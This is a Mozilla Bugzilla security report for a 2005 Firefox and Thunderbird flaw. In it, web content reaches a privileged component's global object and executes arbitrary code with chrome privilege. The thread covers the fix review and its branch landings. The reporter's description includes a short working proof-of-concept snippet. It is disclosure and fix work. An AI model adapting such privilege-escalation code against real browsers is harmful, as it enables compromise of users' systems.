QueryInterface.__proto__.__parent__ refers to the object generated by "nsExtensionManager.js"

RESOLVED FIXED in mozilla1.8beta3

Status

()

defect
RESOLVED FIXED
14 years ago
13 years ago

People

(Reporter: moz_bug_r_a4, Assigned: jst)

Tracking

({fixed-aviary1.0.5, fixed1.7.9})

1.0 Branch
mozilla1.8beta3
Points:
---
Dependency tree / graph
Bug Flags:
blocking-aviary1.0.5 +
blocking1.8b2 -
blocking1.8b3 +
blocking-aviary1.5 +
in-testsuite ?

Firefox Tracking Flags

(Not tracked)

Details

(Whiteboard: [sg:fix] Bug details embargoed until August 1, 2005)

Attachments

(4 attachments, 1 obsolete attachment)

User-Agent:       Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050511
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4

Any_XPCOM_Object.QueryInterface.__proto__.__parent__ refers to the object
generated by "nsExtensionManager.js". And content window can use its properties
and functions. This bug allows an attacker to run arbitrary code.


  s1 = new Script("Components.stack");
  s2 = new QueryInterface.__proto__.__parent__.Script("Components.stack");

When chrome calls s1.exec(), this error message appears:
  Error: function Script.prototype.exec must be called directly, and not by
  way of a function of another name

But, when chrome calls s2.exec(), its code is executed with chrome privilege.
And, there are ways to make chrome call a Script object created by content.

------
Target code: from nsExtensionManager.js
  var gModule = {
    getClassObject: function (aComponentManager, aCID, aIID) 
    {
      if (!aIID.equals(Components.interfaces.nsIFactory))
        throw Components.results.NS_ERROR_NOT_IMPLEMENTED;

      for (var key in this._objects) {
        if (aCID.equals(this._objects[key].CID))
          return this._objects[key].factory;
      }
    
      throw Components.results.NS_ERROR_NO_INTERFACE;
    },

Exploit code:
  var b = QueryInterface.__proto__.__parent__;
  var iid = { equals : new b.Script(code) };
  b.gModule.getClassObject(null, null, iid);
------

Note for trunk builds:
If user did install/uninstall or enable/disable Extensions, at next time user
start Firefox, QueryInterface.__proto__.__parent__ refers to the other object
generated by "inspector-cmdline.js". but, it doesn't stop exploits.

Affected:
(Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4
(Windows; U; Windows NT 5.1; en-US; rv:1.8b2) Gecko/20050518 Firefox/1.0+

(Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050317 Thunderbird/1.0.2
(Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050518 Thunderbird/1.0.4
(Windows; U; Windows NT 5.1; en-US; rv:1.8b2) Gecko/20050518 Thunderbird/1.0+


Reproducible: Always

Steps to Reproduce:
Posted file testcase
Mozilla suite is not affected by this bug, but there is similar bug (probably
harmless?) that affects Mozilla suite, Firefox and Thunderbird. see Bug 294799 
Is this really any XPCOM object, or just those with classinfo?
Confirming.

Testcase didn't work when I had AdBlock enabled, it may be somewhat random what
component you reach if you've got a lot of extras installed. Do not call this
bug fixed or WFM unless you test in -safe-mode.
Assignee: nobody → jst
Status: UNCONFIRMED → NEW
Ever confirmed: true
Flags: blocking1.8b3+
Flags: blocking1.8b2?
Flags: blocking-aviary1.1+
Flags: blocking-aviary1.0.5+
Whiteboard: [sg:fix]
>Is this really any XPCOM object, or just those with classinfo?

|Components| object doesn't have nsIClassInfo interface. but,
Components.QueryInterface.__proto__.__parent__ refers to the same object.


tested with Firefox1.0.4 + Adblock:
QueryInterface.__proto__.__parent__ refers to nsIAppShellService.hiddenDOMWindow
that contains the object generated by "adblock.jar!/content/component.js".
I think this bug, bug 294799 and bug 295011 all have the same cause. We use the
safe context when creating the function objects for native member functions in
XPConnect, see XPCNativeMember::Resolve
(http://lxr.mozilla.org/seamonkey/source/js/src/xpconnect/src/xpcwrappednativeinfo.cpp#114).
I'm not sure how JS components' objects get into the safe context' global
object, probably because some of them run code pretty early on startup.
Blocks: sbb?
jst looking at this for b3
Flags: blocking1.8b2? → blocking1.8b2-
The JS component stuff is almost certainly what ends up creating the safe
context, which means that the first component's global is what gets set as the
safe context's global when we call InitClassesWithWrappedNative in the component
loader's GlobalForLocation.  (Working from recent memory, don't have it open
right now.)

We can probably save-and-restore the safe context's global around that set of
calls, to avoid that sort of leakage, though I'd sort of rather the safe context
always made its own global object of some known heritage.
This fixes this problem by stopping the sharing of JS function objects from the
safe context's global. The downside is that now all clones of the "real"
functions need to carry the data in the reserved slots (2) instead of getting
that from the "real" function object. This means all functions get bigger (2
slots on a JSObject). But really, exposing the safe context's global to any
code is just wrong, so I'd think this is worth the hit unless someone can think
of a better way to do this...
Attachment #184976 - Flags: superreview?(brendan)
Attachment #184976 - Flags: review?(peterv)
Just realized that I missed a call to JS_CloneFunctionObject() in
xpccomponents.cpp. That was the last thing that required that we try to get the
reserved slots off of the "real" function object, so I was able to take out the
code to get to the real function object. This one's ready to land, me thinks.
Attachment #184976 - Attachment is obsolete: true
Attachment #185071 - Flags: superreview?(brendan)
Attachment #185071 - Flags: review?(shaver)
Attachment #184976 - Flags: superreview?(brendan)
Attachment #184976 - Flags: review?(peterv)
Comment on attachment 185071 [details] [diff] [review]
Same for JS_CloneFunctionObject() in xpccomponets.cpp.

r=bzbarsky; we should check whether we need similar fixes for XBL, liveconnect,
and nsJSContext::BindCompiledEventHandler
Attachment #185071 - Flags: review?(shaver) → review+
Blocks: 294799
XBL needs to be fixed.
Bug 296397
*** Bug 296397 has been marked as a duplicate of this bug. ***
Blocks: 296397
Component: Security → XPConnect
Flags: review+
OS: Windows XP → All
Product: Firefox → Core
Hardware: PC → All
Target Milestone: --- → mozilla1.8beta3
Version: unspecified → 1.0 Branch
(In reply to comment #11)
> (From update of attachment 185071 [details] [diff] [review] [edit])
> r=bzbarsky; we should check whether we need similar fixes for XBL, liveconnect,
> and nsJSContext::BindCompiledEventHandler

Why the last?  It's a primitive, a tool that callers have to use well.  How can
it  avoid abusage at a higher level that leads to "super-proto" entrainment/leakage?

/be
Comment on attachment 185071 [details] [diff] [review]
Same for JS_CloneFunctionObject() in xpccomponets.cpp.

sr=me but please consider taking xpc_CloneJSFunction out of line.  If doing so
has no code savings on tier-1 platforms, nm.

Restoring r+ from bz lost due to product change (bugzilla bug!).  1.8b3+'ing.

/be
Attachment #185071 - Flags: superreview?(brendan)
Attachment #185071 - Flags: superreview+
Attachment #185071 - Flags: review+
Attachment #185071 - Flags: approval1.8b3+
Fix checked in.
Attachment #185071 - Flags: approval1.7.9?
Attachment #185071 - Flags: approval-aviary1.0.5?
Whiteboard: [sg:fix] → [sg:fix] have patch
Blocks: 296467
Note, this caused bug 296467.
Oops. Somehow I mixed bugs up here and thought that this was already approved
for the branches. I see now that it wasn't, but I already checked this in on the
aviary branch :(

Let me know if I need to back this out.
jst: Should we add the fixed-aviary1.0.5 keyword since you already checked in on
the Aviary branch?

Is this supposed to make it onto the Mozilla 1.7.9 branch?
Comment on attachment 185071 [details] [diff] [review]
Same for JS_CloneFunctionObject() in xpccomponets.cpp.

Looks like this already landed on the Aviary branch...but did it make it onto
the 1.7.9?  If not, a=jay, let's get it in.
Attachment #185071 - Flags: approval1.7.9?
Attachment #185071 - Flags: approval1.7.9+
Attachment #185071 - Flags: approval-aviary1.0.5?
Attachment #185071 - Flags: approval-aviary1.0.5+
Fixed on trunk and both branches.
Status: NEW → RESOLVED
Closed: 14 years ago
Keywords: fixed1.7.9
Resolution: --- → FIXED
v.fixed on aviary with Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.9)
Gecko/20050706 Firefox/1.0.5 using original testcase.
Adding distributors
Whiteboard: [sg:fix] have patch → [sg:fix] Bug details embargoed until July 20, 2005
Whiteboard: [sg:fix] Bug details embargoed until July 20, 2005 → [sg:fix] Bug details embargoed until August 1, 2005
Group: security
Flags: testcase+
Flags: in-testsuite+ → in-testsuite?
You need to log in before you can comment on or make changes to this bug.